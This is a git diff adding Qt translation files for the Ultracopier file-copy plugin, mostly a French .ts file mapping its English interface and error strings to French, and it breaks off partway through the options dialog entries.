+ <translation>Unir</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="259"/>
+ <source>Skip</source>
+ <translation>Omitir</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="266"/>
+ <source>&amp;Cancel</source>
+ <translation>Cancelar</translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins/CopyEngine/Ultracopier/Languages/fr/translation.ts b/plugins/CopyEngine/Ultracopier/Languages/fr/translation.ts
new file mode 100644
index 0000000..8ed7524
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/Languages/fr/translation.ts
@@ -0,0 +1,1338 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0" language="fr" sourcelanguage="en">
+<context>
+ <name>AvancedQFile</name>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="26"/>
+ <location filename="../../AvancedQFile.cpp" line="57"/>
+ <location filename="../../AvancedQFile.cpp" line="88"/>
+ <source>Not supported on this platform</source>
+ <translation>Non supporté sur cette plateforme</translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="40"/>
+ <source>Last modified date is wrong</source>
+ <translation>Date de dernière modification du fichier incorrecte</translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="71"/>
+ <source>Last access date is wrong</source>
+ <translation>Date du dernier accès au fichier incorrecte</translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="121"/>
+ <source>Unknown error: %1</source>
+ <translation>Erreur inconnue: %1</translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="187"/>
+ <source>Unknown error</source>
+ <translation>Erreur inconnue</translation>
+ </message>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="133"/>
+ <source>Path conversion error</source>
+ <translation>Erreur de conversion de chemain</translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngine</name>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="429"/>
+ <location filename="../../CopyEngine.cpp" line="451"/>
+ <source>The engine is forced to move, you can&apos;t copy with it</source>
+ <translation>Le moteur est forcé en déplacement, vous ne pouvez pas copier avec</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="462"/>
+ <location filename="../../CopyEngine.cpp" line="484"/>
+ <source>The engine is forced to copy, you can&apos;t move with it</source>
+ <translation>Le moteur est forcé en copie, vous ne pouvez pas déplacer avec</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="508"/>
+ <source>Destination</source>
+ <translation>Destination</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="508"/>
+ <source>Use the actual destination &quot;%1&quot;?</source>
+ <translation>Utiliser la destination actuelle &quot;%1&quot;?</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="717"/>
+ <source>The mode has been forced previously. This is an internal error, please report it</source>
+ <translation>Le mode a été forcé. C&apos;est une erreur interne, merci de la repporter</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1047"/>
+ <location filename="../../CopyEngine.cpp" line="1050"/>
+ <location filename="../../CopyEngine.cpp" line="1055"/>
+ <location filename="../../CopyEngine.cpp" line="1059"/>
+ <source>Ask</source>
+ <translation>Demander</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1048"/>
+ <location filename="../../CopyEngine.cpp" line="1052"/>
+ <location filename="../../CopyEngine.cpp" line="1056"/>
+ <location filename="../../CopyEngine.cpp" line="1060"/>
+ <source>Skip</source>
+ <translation>Passer</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1051"/>
+ <source>Merge</source>
+ <translation>Fusionner</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1053"/>
+ <location filename="../../CopyEngine.cpp" line="1065"/>
+ <source>Rename</source>
+ <translation>Renommer</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1057"/>
+ <source>Put at the end</source>
+ <translation>Mettre à la fin</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1061"/>
+ <source>Overwrite</source>
+ <translation>Écraser</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1062"/>
+ <source>Overwrite if different</source>
+ <translation>Écraser si différent</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1063"/>
+ <source>Overwrite if newer</source>
+ <translation>Écraser si plus récent</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1064"/>
+ <source>Overwrite if older</source>
+ <translation>Écraser si plus vieux</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1067"/>
+ <source>Automatic</source>
+ <translation>Automatique</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1068"/>
+ <source>Sequential</source>
+ <translation>Séquentiel</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1069"/>
+ <source>Parallel</source>
+ <translation>Parallèle</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1170"/>
+ <source>Options error</source>
+ <translation>Erreur d&apos;options</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngine.cpp" line="1170"/>
+ <source>Options engine is not loaded. Unable to access the filters</source>
+ <translation>Le moteur d&apos;options n&apos;est pas chargé. Impossible d&apos;accédé aux filtres</translation>
+ </message>
+</context>
+<context>
+ <name>CopyEngineFactory</name>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="412"/>
+ <location filename="../../CopyEngineFactory.cpp" line="415"/>
+ <location filename="../../CopyEngineFactory.cpp" line="420"/>
+ <location filename="../../CopyEngineFactory.cpp" line="424"/>
+ <source>Ask</source>
+ <translation>Demander</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="413"/>
+ <location filename="../../CopyEngineFactory.cpp" line="417"/>
+ <location filename="../../CopyEngineFactory.cpp" line="421"/>
+ <location filename="../../CopyEngineFactory.cpp" line="425"/>
+ <source>Skip</source>
+ <translation>Passer</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="416"/>
+ <source>Merge</source>
+ <translation>Fusionner</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="418"/>
+ <location filename="../../CopyEngineFactory.cpp" line="430"/>
+ <source>Rename</source>
+ <translation>Renommer</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="422"/>
+ <source>Put at the end</source>
+ <translation>Mettre à la fin</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="426"/>
+ <source>Overwrite</source>
+ <translation>Écraser</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="427"/>
+ <source>Overwrite if different</source>
+ <translation>Écraser si différent</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="428"/>
+ <source>Overwrite if newer</source>
+ <translation>Écraser si plus récent</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="429"/>
+ <source>Overwrite if older</source>
+ <translation>Écraser si plus vieux</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="432"/>
+ <source>Automatic</source>
+ <translation>Automatique</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="433"/>
+ <source>Sequential</source>
+ <translation>Séquentiel</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="434"/>
+ <source>Parallel</source>
+ <translation>Parallèle</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="485"/>
+ <location filename="../../CopyEngineFactory.cpp" line="524"/>
+ <source>Options error</source>
+ <translation>Erreur d&apos;options</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="485"/>
+ <source>Options engine is not loaded. Unable to access the filters</source>
+ <translation>Le moteur d&apos;options n&apos;est pas chargé. Impossible d&apos;accédé aux filtres</translation>
+ </message>
+ <message>
+ <location filename="../../CopyEngineFactory.cpp" line="524"/>
+ <source>Options engine is not loaded, can&apos;t access to the filters</source>
+ <translation>Moteur d&apos;options non chargé, impossible d&apos;accéder aux filtres</translation>
+ </message>
+</context>
+<context>
+ <name>DiskSpace</name>
+ <message>
+ <location filename="../../DiskSpace.ui" line="14"/>
+ <source>Disk space</source>
+ <translation>Espace disque</translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="24"/>
+ <source>You need more space on this drive to finish this transfer</source>
+ <translation>Vous avez besoin de plus d&apos;espace pour finir ce transfert</translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="49"/>
+ <source>Continue</source>
+ <translation>Continuer</translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.ui" line="56"/>
+ <source>Cancel</source>
+ <translation>Annuler</translation>
+ </message>
+ <message>
+ <location filename="../../DiskSpace.cpp" line="23"/>
+ <source>Drives %1 have %2 available but need %3</source>
+ <translation>Lecteur %1 as %2 disponible mais à besoin de %3</translation>
+ </message>
+</context>
+<context>
+ <name>FileErrorDialog</name>
+ <message>
+ <location filename="../../FileErrorDialog.cpp" line="54"/>
+ <source>Error on folder</source>
+ <translation>Erreur sur un dossier</translation>
+ </message>
+ <message>
+ <location filename="../../FileErrorDialog.cpp" line="57"/>
+ <source>Folder name</source>
+ <translation>Nom de répertoire</translation>
+ </message>
+</context>
+<context>
+ <name>FileExistsDialog</name>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="131"/>
+ <source>%1 - copy</source>
+ <translation>%1 - copie</translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="141"/>
+ <source>%1 - copy (%2)</source>
+ <translation>%1 - copie (%2)</translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="226"/>
+ <source>Error</source>
+ <translation>Erreur</translation>
+ </message>
+ <message>
+ <location filename="../../FileExistsDialog.cpp" line="226"/>
+ <source>Try rename with using special characters</source>
+ <translation>Essaie de renommage avec caratéres interdits</translation>
+ </message>
+ <message>
+ <source>Try rename with unauthorized characters</source>
+ <translation type="obsolete">Essaie de renommage avec caratéres interdits</translation>
+ </message>
+</context>
+<context>
+ <name>FileIsSameDialog</name>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="105"/>
+ <source>%1 - copy</source>
+ <translation>%1 - copie</translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="115"/>
+ <source>%1 - copy (%2)</source>
+ <translation>%1 - copie (%2)</translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="182"/>
+ <source>Error</source>
+ <translation>Erreur</translation>
+ </message>
+ <message>
+ <location filename="../../FileIsSameDialog.cpp" line="182"/>
+ <source>Try rename with using special characters</source>
+ <translation>Essaie de renommage avec caratéres interdits</translation>
+ </message>
+ <message>
+ <source>Try rename with unauthorized characters</source>
+ <translation type="obsolete">Essaie de renommage avec caratéres interdits</translation>
+ </message>
+</context>
+<context>
+ <name>FilterRules</name>
+ <message>
+ <location filename="../../FilterRules.ui" line="33"/>
+ <source>Search:</source>
+ <translation>Recherche:</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="43"/>
+ <source>Search type:</source>
+ <translation>Type de recherche:</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="51"/>
+ <source>Raw text</source>
+ <translation>Texte brut</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="56"/>
+ <source>Simplified regex</source>
+ <translation>Regex simplifiée</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="61"/>
+ <source>Perl&apos;s regex</source>
+ <translation>Regex perl</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="69"/>
+ <source>Apply on:</source>
+ <translation>Appliquer sur:</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="77"/>
+ <source>File</source>
+ <translation>Fichier</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="82"/>
+ <source>Folder</source>
+ <translation>Dossier</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="87"/>
+ <source>File and folder</source>
+ <translation>Fichier et dossier</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="125"/>
+ <source>The test string matches with the regex</source>
+ <translation>La chaine de texte corresponds avec la regex</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="102"/>
+ <source>Checking</source>
+ <translation>Vérification</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="115"/>
+ <source>Test string:</source>
+ <translation>Chaine de test:</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="17"/>
+ <source>Filters dialog</source>
+ <translation>Dialogue des filtres</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="95"/>
+ <source>Whole string must match</source>
+ <translation>Toute la chaine doit correspondre</translation>
+ </message>
+ <message>
+ <location filename="../../FilterRules.ui" line="108"/>
+ <source>The regex is valid</source>
+ <translation>La regex est valid</translation>
+ </message>
+</context>
+<context>
+ <name>Filters</name>
+ <message>
+ <location filename="../../Filters.ui" line="14"/>
+ <source>Filters</source>
+ <translation>Filtres</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="30"/>
+ <source>Exclusion filters</source>
+ <translation>Filtres d&apos;exclusion</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="93"/>
+ <source>Inclusion filters</source>
+ <translation>Filtres d&apos;inclusion</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.ui" line="105"/>
+ <source>None = Include all</source>
+ <translation>Aucun = tout inclure</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="92"/>
+ <location filename="../../Filters.cpp" line="130"/>
+ <source>Raw text</source>
+ <translation>Texte brute</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="95"/>
+ <location filename="../../Filters.cpp" line="133"/>
+ <source>Simplified regex</source>
+ <translation>Regex simplifié</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="98"/>
+ <location filename="../../Filters.cpp" line="136"/>
+ <source>Perl&apos;s regex</source>
+ <translation>Regex perl</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="106"/>
+ <location filename="../../Filters.cpp" line="144"/>
+ <source>Only on file</source>
+ <translation>Appliquer sur fichier</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="109"/>
+ <location filename="../../Filters.cpp" line="147"/>
+ <source>Only on folder</source>
+ <translation>Appliquer sur dossier</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="115"/>
+ <location filename="../../Filters.cpp" line="153"/>
+ <location filename="../../Filters.cpp" line="215"/>
+ <location filename="../../Filters.cpp" line="254"/>
+ <source>Full match</source>
+ <translation>Correspondance totale</translation>
+ </message>
+</context>
+<context>
+ <name>FolderExistsDialog</name>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="51"/>
+ <source>Folder already exists</source>
+ <translation>Dossier déjà existant</translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="116"/>
+ <source>%1 - copy</source>
+ <translation>%1 - copie</translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="126"/>
+ <source>%1 - copy (%2)</source>
+ <translation>%1 - copie (%2)</translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="187"/>
+ <source>Error</source>
+ <translation>Erreur</translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="187"/>
+ <source>Try rename with using special characters</source>
+ <translation>Essaie de renommage avec caratéres interdits</translation>
+ </message>
+ <message>
+ <source>Try rename with unauthorized characters</source>
+ <translation type="obsolete">Essaie de renommage avec caratéres interdits</translation>
+ </message>
+ <message>
+ <source>Try rename with unauthorized charateres</source>
+ <translation type="obsolete">Tentative de renommage de des caratéres non autorisés</translation>
+ </message>
+</context>
+<context>
+ <name>ListThread</name>
+ <message>
+ <location filename="../../ListThread.cpp" line="1447"/>
+ <location filename="../../ListThread.cpp" line="2369"/>
+ <source>Unable do to move or copy item into wrong forced mode: %1</source>
+ <translation>Impossible de faire un déplacement ou une copie dans le mauvais mode forcé: %1</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1454"/>
+ <location filename="../../ListThread.cpp" line="2376"/>
+ <source>Unable to save the transfer list: %1</source>
+ <translation>Impossible de sauvegarder la liste de transfert: %1</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1470"/>
+ <source>Problem reading file, or file-size is 0</source>
+ <translation>Problem durant la lecture, ou taille de fichier est 0</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1477"/>
+ <source>Wrong header: &quot;%1&quot;</source>
+ <translation>Mauvais en-tête: &quot;%1&quot;</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1486"/>
+ <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
+ <translation>La liste de transfert est en mode mixte, mais l&apos;instance n&apos;est pas dans ce mode</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1495"/>
+ <source>The transfer list is in copy mode, but this instance is not in this mode</source>
+ <translation>La liste de transfert est en mode copie, mais l&apos;instance n&apos;est pas dans ce mode</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1501"/>
+ <source>The transfer list is in move mode, but this instance is not in this mode</source>
+ <translation>La liste de transfert est en mode déplacement, mais l&apos;instance n&apos;est pas dans ce mode</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1557"/>
+ <source>Some errors have been found during the line parsing</source>
+ <translation>Certaine erreur ont été trouvé durant l&apos;analise de la line</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1565"/>
+ <source>Unable to open the transfer list: %1</source>
+ <translation>Impossible d&apos;ouvrir la list de transfert: %1</translation>
+ </message>
+</context>
+<context>
+ <name>MkPath</name>
+ <message>
+ <source>Unable to get time</source>
+ <translation type="obsolete">Impossible d&apos;obtenir l&apos;heure</translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="142"/>
+ <source>Unable to create the folder</source>
+ <translation>Impossible de créer le répertoire</translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="155"/>
+ <source>The source folder don&apos;t exists</source>
+ <translation>Le dossier source n&apos;éxiste pas</translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="183"/>
+ <source>Unable to temporary rename the folder</source>
+ <translation>Impossible de renommer le dossier</translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="206"/>
+ <source>Unable to do the final real move the folder</source>
+ <translation>Impossible de faire le déplacement final du dossier</translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="232"/>
+ <source>Unable to move the folder</source>
+ <translation>Impossible de déplacer le dossier</translation>
+ </message>
+ <message>
+ <source>Unable to set time</source>
+ <translation type="obsolete">Impossible de définir l&apos;heure</translation>
+ </message>
+ <message>
+ <source>Unable to set the access-right</source>
+ <translation type="obsolete">Impossible de définir les droits d&apos;accés</translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="93"/>
+ <location filename="../../MkPath.cpp" line="275"/>
+ <source>Unable to remove</source>
+ <translation>Impossible de supprimer</translation>
+ </message>
+</context>
+<context>
+ <name>ReadThread</name>
+ <message>
+ <location filename="../../ReadThread.cpp" line="55"/>
+ <source>Internal error, please report it!</source>
+ <translation>Erreur interne, merci de la reporter!</translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="184"/>
+ <source>Internal error reading the source file:block size out of range</source>
+ <translation>Erreur interne lisant le fichier source: taille de block hors de la plage</translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="192"/>
+ <location filename="../../ReadThread.cpp" line="408"/>
+ <source>Unable to read the source file: </source>
+ <translation>Impossible de lire le fichier source: </translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="233"/>
+ <location filename="../../ReadThread.cpp" line="456"/>
+ <source>File truncated during the read, possible data change</source>
+ <translatorcomment>La taille du fichier a diminué durant -&gt; changé le texte original</translatorcomment>
+ <translation>Fichier a diminué durant la lecture, possible changement de données</translation>
+ </message>
+</context>
+<context>
+ <name>RenamingRules</name>
+ <message>
+ <location filename="../../RenamingRules.ui" line="26"/>
+ <source>First renaming</source>
+ <translation>Premier renommage</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="32"/>
+ <source>%name% - copy</source>
+ <extracomment>%name% should not be translated</extracomment>
+ <translatorcomment>variables need never be translated</translatorcomment>
+ <translation>%name% - copie</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="39"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment> should not be translated</extracomment>
+ <translatorcomment>variables need never be translated</translatorcomment>
+ <translation>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; pour le nom originel&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="49"/>
+ <source>Second renaming</source>
+ <translation>Second renommage</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="55"/>
+ <source>%name% - copy (%number%)</source>
+ <extracomment>%name%, %number% should not be translated</extracomment>
+ <translatorcomment>variables need never be translated</translatorcomment>
+ <translation>%name% - copie (%number%)</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="62"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment>%name%, %number% should not be translated</extracomment>
+ <translatorcomment>variables need never be translated</translatorcomment>
+ <translation>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; pour le nom originel&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; pour le nombre extra&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.cpp" line="39"/>
+ <location filename="../../RenamingRules.cpp" line="62"/>
+ <source>%1 - copy</source>
+ <translation>%1 - copie</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.cpp" line="43"/>
+ <location filename="../../RenamingRules.cpp" line="73"/>
+ <source>%1 - copy (%2)</source>
+ <translation>%1 - copie (%2)</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="14"/>
+ <source>Renaming rules</source>
+ <translation>Règles de renommage</translation>
+ </message>
+</context>
+<context>
+ <name>ScanFileOrFolder</name>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="265"/>
+ <source>Blacklisted folder</source>
+ <translation>Dossier banis</translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="327"/>
+ <location filename="../../ScanFileOrFolder.cpp" line="393"/>
+ <source>%1 - copy</source>
+ <translation>%1 - copie</translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="337"/>
+ <location filename="../../ScanFileOrFolder.cpp" line="403"/>
+ <source>%1 - copy (%2)</source>
+ <translation>%1 - copie (%2)</translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="441"/>
+ <source>This is not a folder</source>
+ <translation>N&apos;est pas un dossier</translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="443"/>
+ <source>The folder does exists</source>
+ <translation>Le répertoire n&apos;existe pas</translation>
+ </message>
+ <message>
+ <source>The folder not exists</source>
+ <translation type="obsolete">Le répertoire n&apos;existe pas</translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="445"/>
+ <source>The folder is not readable</source>
+ <translation>Le répertoire n&apos;est pas lisible</translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="456"/>
+ <source>Problem with name encoding</source>
+ <translation>Problém d&apos;encodage</translation>
+ </message>
+</context>
+<context>
+ <name>TransferThread</name>
+ <message>
+ <location filename="../../TransferThread.cpp" line="235"/>
+ <location filename="../../TransferThread.cpp" line="663"/>
+ <location filename="../../TransferThread.cpp" line="735"/>
+ <location filename="../../TransferThread.cpp" line="1303"/>
+ <source>File not found</source>
+ <translation>Fichier non trouvé</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="572"/>
+ <source>Drive %1</source>
+ <translation>Lecteur %1</translation>
+ </message>
+ <message>
+ <source>Try rename with unauthorized characters</source>
+ <translation type="obsolete">Essaie de renommage avec caratéres interdits</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="574"/>
+ <source>Unknown folder</source>
+ <translation>Dossier inconnu</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="578"/>
+ <source>root</source>
+ <translation>racine</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="631"/>
+ <source>%1 - copy</source>
+ <translation>%1 - copie</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="641"/>
+ <source>%1 - copy (%2)</source>
+ <translation>%1 - copie (%2)</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="777"/>
+ <source>The source doesn&apos;t exist</source>
+ <translation>La source n&apos;existe pas</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="701"/>
+ <location filename="../../TransferThread.cpp" line="816"/>
+ <source>The source file doesn&apos;t exist</source>
+ <translation>Le fichier source n&apos;existe pas</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1124"/>
+ <source>The checksums do not match</source>
+ <translation>Les sommes de controle ne correspondent pas</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1227"/>
+ <source>Internal error: The size transfered doesn&apos;t match</source>
+ <translation>Erreur interne: La taille transféré ne corresponds pas</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="741"/>
+ <location filename="../../TransferThread.cpp" line="828"/>
+ <source>Unable to do the folder</source>
+ <translation>Impossible de créer le dossier</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="219"/>
+ <source>Try rename with using special characters</source>
+ <translation>Essaie de renommage avec caratéres interdits</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="336"/>
+ <location filename="../../TransferThread.cpp" line="353"/>
+ <source>Wrong modification date or unable to get it, you can disable time transfer to do it</source>
+ <translation>Mauvaise date de modification ou impossible de l&apos;avoir, vous pouvez désactivé le transfert de celui-ci</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="408"/>
+ <location filename="../../TransferThread.cpp" line="431"/>
+ <source>Internal error: Already opening</source>
+ <translation>Erreur interne: Déjà ouvert</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="822"/>
+ <source>Another file exists at same place</source>
+ <translation>Un autre fichier exists à la même place</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1213"/>
+ <source>Internal error: The destination is not closed</source>
+ <translation>Erreur interne: La destination n&apos;est pas fermé</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1238"/>
+ <source>Internal error: The buffer is not empty</source>
+ <translation>Erreur interne: Le buffer n&apos;est pas vide</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1303"/>
+ <location filename="../../TransferThread.cpp" line="1321"/>
+ <location filename="../../TransferThread.cpp" line="1336"/>
+ <source>Unable to change the date</source>
+ <translation>Impossible de changer la date</translation>
+ </message>
+</context>
+<context>
+ <name>WriteThread</name>
+ <message>
+ <location filename="../../WriteThread.cpp" line="80"/>
+ <source>Path resolution error (Empty path)</source>
+ <translation>Erreur de résolution de chemain (chemain vide)</translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="268"/>
+ <source>Internal error, please report it!</source>
+ <translation>Erreur interne, merci de la reporter!</translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="671"/>
+ <source>Unable to read the source file: </source>
+ <translation>Impossible de lire le fichier source: </translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="696"/>
+ <source>File truncated during read, possible data change</source>
+ <translation>Fichier rétréci pendant la lecture, possible changement de données</translation>
+ </message>
+</context>
+<context>
+ <name>copyEngineOptions</name>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="35"/>
+ <source>Transfer</source>
+ <translation>Transfert</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="44"/>
+ <source>Move the whole folder</source>
+ <translation>Déplacer le dossier complet</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="51"/>
+ <source>Transfer the file rights</source>
+ <translation>Transférer les droits des fichiers</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="61"/>
